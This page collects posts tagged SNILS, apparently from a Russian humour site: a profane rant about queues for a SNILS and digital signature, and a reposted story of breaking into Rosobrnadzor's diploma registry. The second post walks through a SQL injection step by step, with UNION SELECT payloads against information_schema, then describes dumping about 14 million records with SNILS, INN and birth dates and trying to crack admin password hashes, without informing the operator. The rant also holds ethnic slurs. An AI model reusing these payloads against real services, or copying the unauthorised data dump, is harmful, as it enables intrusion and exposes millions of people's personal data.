СНИЛС

Подписчиков:
0
Постов:
6

Как получить СНИЛС, ЭЦП и никого не убить

Да-да, я не питал иллюзий насчет того, что в России так же как и в США, открыть "ООО" можно в пять кликов онлайн. И про первое правило я, конечно же, в курсе. Давайте это опустим, а я постараюсь без прелюдий - сразу к пиздецу.

Открывая "ООО" в РФ, крайне желательно иметь ЭЦП, т.е электронную цифровую подпись. Это особенно актуально в моем случае, когда я посещаю страну не особо часто. "Я же инженер", подумал я, все подготовлю и сделаю быстренько. Проверил, что требуется по бумагам и прочей бюрократии - паспорт, понятное дело, ИНН и СНИЛС. Последние два я понятия не имею где физически находятся, но номера есть. Позвонил узнать, можно ли просто продиктовать номера - сказали, что можно. Hurray! Приехал в удостоверяющий центр и естественно (!) оказывается, что СНИЛС таки нужен оригинал, мол федеральный закон номер 100500 и не ебет. Ищите как хотите (сукабля).Ну я не растерялся, думаю 2021 год же на дворе, наверняка можно как-то онлайн его заполучить, топаю на госуслуги и осознаю, что моя учетная запись "Не подтверждена", мол докажи еще что ты - это ты. Подтвердить ее легко, вариантов масса. Нужно всего лишь прийти в отделение банка или почты и предоставить паспорт и... СНИЛС (сукаблятьнахуй!). Тут я уже начинаю потихоньку гореть и понимаю, что выхода у меня два - ехать или в МФЦ или в ПФР. Я выбираю МФЦ в центре города, наверняка там должно же быть максимально "красиво", не абы кто ведь ходить туда будет, да? Да?! Хуй на.Приезжаю в центральный МФЦ, пиздошу пешком на 3 этаж. Это конечно уже доебка, но блять, а если я инвалид? Лифта тупо нету, пролеты огромные. Не можешь идти - ползи. Я хорошей форме, но с разъебанным менниском это такое себе удовольствие. Как говориться, "ну а нам что, а нам и нормально, мы же русские люди!" (с). На этаже с МФЦ, нет это даже не очередь - это просто неструктурированая толпа людей, толпящихся в определенном направлении. В основном гости из средней азии, цигане, пенсионеры, да пара-тройка четких пацанчиков и чикуль. Три терминала для получения талона, но вы же уже догадываетесь, что "очередь" не просто так стоит, да? Из трех терминалов, один не работает в принципе т.е выключен. Два других работают, в том плане, что в них можно потыкать пальцами, но талонов тупо нету, так что можно сказать что не работает ничего. Естественно, как воркараунд, был выставлен сотрудник центра, вытянувший самую короткую соломинку - работать терминалом, за неимением оных. Спрашиваю вопрос, получаю ответ, мол стойте вон в той очереди к девушке у окошка. Девушка естественно одна на всех, ha-ha, classic.jpg

Стою очередь, подхожу к окну и обреченным голосом повторяю, что нужен мне, барышня красивая, СНИЛС - хоть кровь из носу.

- Вы выдаете СНИЛС-ов?
- Нет, только рассказываю.
- Хуевое

Кровь из носу у меня на днях уже была (привет, любимый город!). Выясняется, что очередь я стоял зря и нужно записываться на прием у той леди, к который я обращался изначально. Жопная тяга к этому момену начинает выходить на закритические углы атаки, я возвращаюсь к мадам, пославшей меня стоять в очереди и спрашиваю, какого собственно полового органа она отправила меня стоять в ненужной очереди среди лучших представителей страны, где все естественно без масок. Получаю ответ в духе "вас много, а я одна". В первую секунду приходит в голову шутка, про то, что многие женщины о таком только мечтают, просматривая сайты для взрослых, но осознание того, что время у меня пиздец как ограничено, а сраный СНИЛС нужен сегодня-завтра взяло верх и я попытался выдавить из себя еще немного вежливости.

- Девушка, подскажите, какие мне действия предпринять, чтобы получить СНИЛС как можно скорее?
- Вставайте в очередь
- Я только что из нее, меня отправили к вам
- Вам нужна другая очередь, вот в терминал
- Там же нету талонов!
- А вам не нужен талон, вы там запишетесь на прием
- Я это и онлайн мог сделать!
- Ну так и делали бы. *показывает всем видом, чтобы я отъебался*

Хуй с ним, стою в очереди, надеясь записаться на текущий день (наивный), время-то было 9 утра, центр только работать начал. 40 минут спустя добираюсь до заветного терминала и пытаюсь записаться. Тачскрин конечно-же работает только от удара рукой с неплохим усилением в пару десятков килограмм. Вуаля! Следующий приемный день через неделю, you're welcome. Превозмогая неумолимое желание разбить дисплей этой адской машины я возвращаюсь к девушке-терминалу.

- Девушка родимая, я не могу ждать неделю, мне нужно сделать ЭЦП, я скоро уезжаю!
- Можете пососать жопу, мне похуй Ну сходите в ПФР, он на первом этаже

Я, осозновая, что явно хуже уже не станет, спускаюсь в царство Аида в буквальном смысле. Мне 32, а я уже в ПФР. Пиздец. Внимательный читатель думаю уже догадался, что ждало меня у входа, а точнее в 3 метрах от него? Да, сучка! Очередная, блять, очередь! Причем ровно так же как в МФЦ без четкого разделения, кто к терминалу, а кто к принцессе в окошке. Спустя очередные полчаса моей жизни, которые были безвозвратно утрачены, дрожжащим пальцем я нахожу раздел "Замена СНИЛС" и тыкаю в него со всей своей пролетарской ненавистью... и нихуя не происходит. Какое-то коно подгружается но исчезает так быстро, что я максимум успеваю прочитать первые 2 слова. "Ну я же инженер" думаю я второй раз, достаю телефон и пытаюсь сфоткать это гавно. Нихрена, слишком быстро. Снимаю видео и ищу стоп кадр. Нахожу:



Следующий день, сука. Стараясь не думать о том, что неплхо было бы сжечь к хуям все это здание вместе с ебучими циганами без масок, я проиграв этот раунд сваливаю по своим делам.

***

Я даже писать не буду о том, что приперевшись к 8-30 утра, я встал в очередную, блять да сколько можно, очередь в которой по классике пришлось пробыть еще минут 40. Повтаряю вчерашний ритуал, и чтобывыдумали? Все то же самое, только 9 число поменялось на 10. Талонов нету, сосите жопу х2. "Да сами вы идите нахуй!" думаю я и пытаюсь пробиться к окошечной даме, чтобы все порешать раз на раз, но сопротивление местных аборигенов было таким, что я решил лишний раз не рисковать и без того уже разбитым лицом и постоять еще часик, но уже в очереди к окошку. На удивление, девушка администратор была молода, приятна, красива (!) и даже выслушала меня. Видя, что я в шаге от того, чобы упасть и заплакать, она спросила, заню ли я свой номер?

- Да господи, я его уже наизусть выучил! Записывайте...
- Все будет готово через минуту. Чтож вы ко мне сразу не подошли
- Да я бы на вас женился, если бы знал, что вы можете мне это за минуту сделать!

Спустя сутки проебанного времени получаю наконец заверенную печатью бумажку со СНИЛС-ом, иду в магазин за рафаэлками для дамы из ПФР и отправляюсь в удостоверяющий центр. В принципе, тут уже подходит конец истории, разве что там возникла проблема с отсутствием у меня российского номера телефона, а форма заполнения естественно захардкожена на "+7" без вариантов. Но тут уже получилось выкрутиться без серьезных потерь в составе нервных клеток. Еще через полтора часа мне выдали флеху с ЭЦП и документы. Кому-то может показаться, что я легко отделался - всего то день, не так уж и плохо. Но ребята, во-первых, какой смысл в оригинале СНИЛС-а если на нем нет фото? Это просто номер, который легко пробивается по базе. Во-вторых, это запредельно простая операция которая должна занимать минуты, может быть десятки минут, но никак не много-много часов стояния в очередях, при том, что вроде как есть "Госуслуги", и МФЦ с терминалами. Если бы они еще работали. Вроде выговорился, но фантомные жопные боли пока еще не отпустили. Как же хорошо вернуться домой.

Sweet home, Alabama Омск!Про пивнуху расскажу, когда пройдет первая варка. Всем добра!
"И так сойдёт… или как данные 14 миллионов россиян оказались у меня в руках"


Одиноким вечером, глядя на свою пустую зачётку и осознавая, что конец близок, я снова задумался о том, как бы мне сейчас собрать сумку, или даже просто рюкзак, положить туда рубашку, шорты и свалить в тёплую страну. Было бы хорошо, да вот с дипломом живётся намного лучше. Во всяком случае, мне всегда так говорят.

Также часто слышал много историй про людей, которые приходили на собеседования с красными дипломами МГУ, но при этом абсолютно не разбирались в своей специальности, а потом на корпоративах признавались, что диплом у них купленный.

Но времена сейчас другие, сейчас 21 век, век больших возможностей, любой работодатель, который умеет пользоваться мышкой и знает, как выглядит браузер на рабочем столе, может проверить данные диплома. Каждый диплом, который выдаётся учебным заведением, теперь регистрируется в едином реестре, доступ к которому есть у каждого через сайт Федеральной службы по надзору в сфере образования и науки.

ФЕДЕРАЛЬНАЯ СЛУЖБА ПО НАДЗОРУ В СФЕРЕ ОБРАЗОВАНИЯ И НАУКИ
РОСОБРНАДЗОР,взлом,информационная безопасность,sql,PostgreSQL,длиннопост,geektimes,habrahabr,текст,Истории,obrnadzor,много букв,рособрнадзор,СНИЛС,инн,дыра


Для получение информации о документе об образовании достаточно просто заполнить форму, передвинуть слайдер и нажать кнопку. Вам либо покажут информацию о документе, либо скажут, что такого нет (но ещё рано обвинять соискателя в обмане, мало ли, что могло произойти).

Для поиска введите точные значения реквизитов, указанные на бланке документа: Более подробно о работе с данным сервисом можно ознакомиться по ссылке
Уровень образования
Не выбрано
Уровна* обрио
Наименование 00: Фамилия обладателя документа: Серия бланка: Номер бланка Дата выдачи:
О Найти 00 по


Ну и пока я смотрел на эту форму, решил я с ней поиграться. Повводил всякой чепухи, и бац — на поле, в которое было введено 1', я получаю такой response:

<h2>Произошла ошибка</h2><p>SQLSTATE[42601]: Syntax error: 7 ERROR: syntax error at or near "4"LINE 6: ...me) = UPPER('1'')) AND (doc.education_level_id = '4') AND (U... ^</p>

Голый SQL Injection. Очевидно, что задачи продумать обработку ошибок перед разработчиком не было. Задача была сделать сервис, который работает. Сервис, который является гарантом. Так одинокий вечер превратился в весёлую одинокую ночь.

Ещё будучи подростком я очень любил всякие крутые истории про хакеров, а после того, как решил заняться программированием, изредка почитывал и интересные статьи по взлому и прочему. Так что то, что нужно делать дальше — я знал.

Так как разработчик этого сервиса дал нам удовольствие видеть ещё и часть запроса, то мы можем с уверенностью предположить, что это SELECT запрос. Теперь нам нужно как-то обнулить действие запроса, записанного в php-скрипте, а потом с помощью переменной вставить свой.

Для обнуления запроса достаточно просто добавить невозможное условие и закомментировать последующие строки запроса, что-то наподобие:

Инъекция
...me) = UPPER('1') AND (1=0)) — ')) AND (doc.education_level_id = '4') AND (U…

В ответ просто пришло сообщение о том, что документ не найден.

Также пробовал использовать вместо невозможного условия, наоборот, очевидные. А именно пробовал искать какой-либо документ по id. Писал id=1, id=1024 и прочее, но результатов не дало. Видимо, id давно перевалило за тысячи (спойлер: за миллионы).

Также я совершенно не надеялся на то, что запрос придёт без ошибки. Я был уверен, что пробелы будут экранироваться, удаляться, запрещаться, ещё что-нибудь. Ведь в форме на странице поиска ввести фамилию с пробелами невозможно. Но всё оказалось в разы проще.

Ну а теперь бы хотелось вытащить что-то действительно интересное. Изменить структуру ответа мы не можем никак, то есть если в запросе были, например, SELECT id, name, count, то так оно и останется. Значит надо подстраиваться, а для начала понять, какие же данные запрашиваются из БД, и, главное, сколько? Существует много способов узнать количество полей, но мне помог только ORDER BY. Как это работает?

ORDER BY сделан для сортировки, но его синтаксис не требует обязательно указывать имя поля, достаточно указать его позицию в запросе. Если указать номер позиции больше, чем количество запрашиваемых полей — то будет ошибка. Методом перебора можно подобрать количество полей. Их оказалось 55.

Хочется понять, с чем же мы работаем, что это за база данных такая? Предположим, что это MySQL, в MySQL есть функция Version(), которая возвращает версию БД. Применим:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,version(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…

В ответ пришёл JSON, в котором было:

PostgreSQL 9.1.2 on x86_64-alt-linux-gnu, compiled by x86_64-alt-linux-gcc (GCC) 4.5.3 20120111 (ALT Linux 4.5.3-alt1.M60C.1), 64-bit
Отлично, мы знаем систему, версию БД (под неё вроде даже эксплоиты были). Поле для действия расширилось. Узнаём, как выглядит запрос:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,current_query(),тут ещё 53 поля, типы которых ещё надо определить методом подбора — ')) AND (doc.education_level_id = '4') AND (U…

Ответ:
"SELECT "doc".*, "doc_type"."type", "stat"."name" AS "status", "level"."name" AS "level", "rec"."name" AS "rec_name", "rec"."surname" AS "rec_surname", "rec"."patronymic" AS "rec_lastname" FROM "documents" AS "doc" LEFT JOIN "document_types" AS "doc_type" ON doc_type.id = doc.document_type_id LEFT JOIN "document_packages" AS "dp" ON doc.document_package_id = dp.id LEFT JOIN "documents_status" AS "stat" ON stat.id = doc.status_id LEFT JOIN "education_levels" AS "level" ON level.id = doc.education_level_id LEFT JOIN "recipients" AS "rec" ON rec.id = doc.recipient_id WHERE (dp.status = 3) AND (doc.organization_id = '573') AND (doc.year = '2018-01-01') AND (UPPER(rec.surname) = UPPER('1')) UNION SELECT 1,current_query(),'3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '01.01.1970', '01.01.1970', '21', '01.01.1970', '23', '24', '25', '26', '01.01.1970', '28', '29', '30', '31', '32', '33', '28-05-2004 11:11:59', '35', '36', '28-05-2004 11:11:59', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55' -- ')) AND (doc.education_level_id = '4') AND (UPPER(doc.series) = UPPER('1')) AND (doc.number = '1') LIMIT 1"

Вся картина перед нами.

Попробуем узнать, что же за таблицы есть во всей базе данных:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,table_name,тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.tables — ')) AND (doc.education_level_id = '4') AND (U…

Таким образом получили все таблицы. Узнаём столбцы каждой таблицы следующим образом:

Инъекция
...me) = UPPER('1') AND (1=0)) UNION SELECT 1,CONCAT(column_name,' ',data_type,' ',is_nullable),тут ещё 53 поля, типы которых ещё надо определить методом подбора FROM information_schema.columns WHERE table_name='Какое-то имя таблицы' — ')) AND (doc.education_level_id = '4') AND (U…

Итак, зная структуру базы данных, я написал скрипт на Питон и выкачал все самые интересные на мой взгляд данные. А именно:

Таблицу с дипломами об образовании (серия, номер, год поступления, год окончания, СНИЛС!, ИНН!!, серия и номер паспорта (честно говоря, у всех записей поля пустые, но сам факт!), дата рождения, национальность (зачем?), учебная организация, выдавшая документ), таблицу с гражданами с образованием (там всё проще: ФИО и всё), таблицу с пользователями системы (стандартно, логин, email, и, НЕОЖИДАНО, md5 хэш пароля, хоть не сам пароль), отдельная таблица admin с одной записью (так же: логин, хэш пароля и прочее), таблица с информацией об учебных заведениях (кто начальник, email, телефон, лицензия — в общем всё, что и так есть в открытом доступе) и ещё кучу вспомогательных таблиц.

По объёмам получилось: около 14 000 000 документов об образовании, около 14 000 000 записей с данными о бывших студентах, 1322 пользователя системы, 1 админ, который логинится по будням в системе, видимо, когда на работу приходит, 3391 учебное заведение и горы непонятной информации типа ОКОГУ и прочее. База весом 5 гб.

А теперь представьте, сколько времени это качалось. Вы думаете, кто-то заметил? Может быть сервис резко отключился, ip заблокировали или ещё что-то? НЕТ!

Конечно, целью не является использовать эту информацию в корыстных целях (да я и не представляю, как). Иначе бы я не писал статью здесь. Но и писать лично администрации сайта или кто там за него отвечает я тоже не горю желанием, хватило истории про Микротех.

Дополнительно решил проверить хэши по радужным таблицам. Не уверен, конечно, что они хэшировались именно голым md5, но, во всяком случае, в открытых базах данных совпадений ни к одному хэшу не нашлось. Или я что-то не умею.

Мог бы я продолжить и получить доступ в систему? Смог бы я сам изменять записи и добавлять свои? Вполне возможно, но я решил этого не делать. Да и сессию надо закрывать, без диплома-то никак…

Пошел я значит как то снилс получать

З.Ы: через дробь мой возраст)
Здесь мы собираем самые интересные картинки, арты, комиксы, мемасики по теме СНИЛС (+6 постов - СНИЛС)